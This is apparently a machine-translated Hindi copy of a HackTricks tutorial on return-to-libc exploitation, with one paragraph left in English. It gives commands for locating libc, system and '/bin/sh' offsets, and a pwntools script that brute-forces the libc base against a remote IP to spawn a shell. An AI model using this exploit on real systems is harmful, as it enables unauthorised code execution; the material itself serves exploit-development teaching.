8.1 KiB
☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
-
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS परिवार, हमारा विशेष NFT संग्रह
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या फॉलो करें मुझे ट्विटर 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो को PR जमा करके।
यदि आपने एक संकटग्रस्त बाइनरी खोजा है और आपको लगता है कि आप इसे Ret2Lib का उपयोग करके उत्पन्न कर सकते हैं, तो यहां आपको कुछ मूलभूत चरण मिलेंगे जिनका आप अनुसरण कर सकते हैं।
यदि आप होस्ट के अंदर हैं
आप libc का पता लगा सकते हैं
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
यदि आप जांचना चाहते हैं कि ASLR libc के पते को बदल रहा है तो आप निम्नलिखित कर सकते हैं:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
सिस्टम फ़ंक्शन का ऑफ़सेट प्राप्त करें
To get the offset of the system function, we can use the following steps:
-
Find the address of a known function in the target binary. This can be done by using tools like
objdump
orreadelf
to analyze the binary. -
Calculate the offset between the known function and the system function. This can be done by subtracting the address of the known function from the address of the system function.
-
Use the calculated offset to determine the address of the system function in the target binary.
By obtaining the offset of the system function, we can then use it in various exploitation techniques, such as return-to-libc attacks, to execute arbitrary commands or gain unauthorized access.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
"/bin/sh" का ऑफसेट प्राप्त करें
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) बच्चों को बना रही है, तो इस फ़ाइल को पढ़ने का प्रयास करें (संभवतः आपको रूट होने की आवश्यकता होगी)।
यहां आप प्रक्रिया के अंदर बिल्कुल स्पष्ट ढंग से देख सकते हैं कि libc कहां लोड हो रही है और प्रक्रिया के हर बच्चे के लिए कहां लोड होने जा रही है।
इस मामले में यह 0xb75dc000 में लोड हो रही है (यह libc का बेस पता होगा)
gdb-peda का उपयोग करें
gdb-peda का उपयोग करके system फ़ंक्शन, exit फ़ंक्शन और "/bin/sh" स्ट्रिंग का पता लगाएं:
p system
p exit
find "/bin/sh"
ASLR को बाइपास करना
आप libc के अब्से पते को ब्रूटफोर्स करने का प्रयास कर सकते हैं।
for off in range(0xb7000000, 0xb8000000, 0x1000):
कोड
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो को PR जमा करके।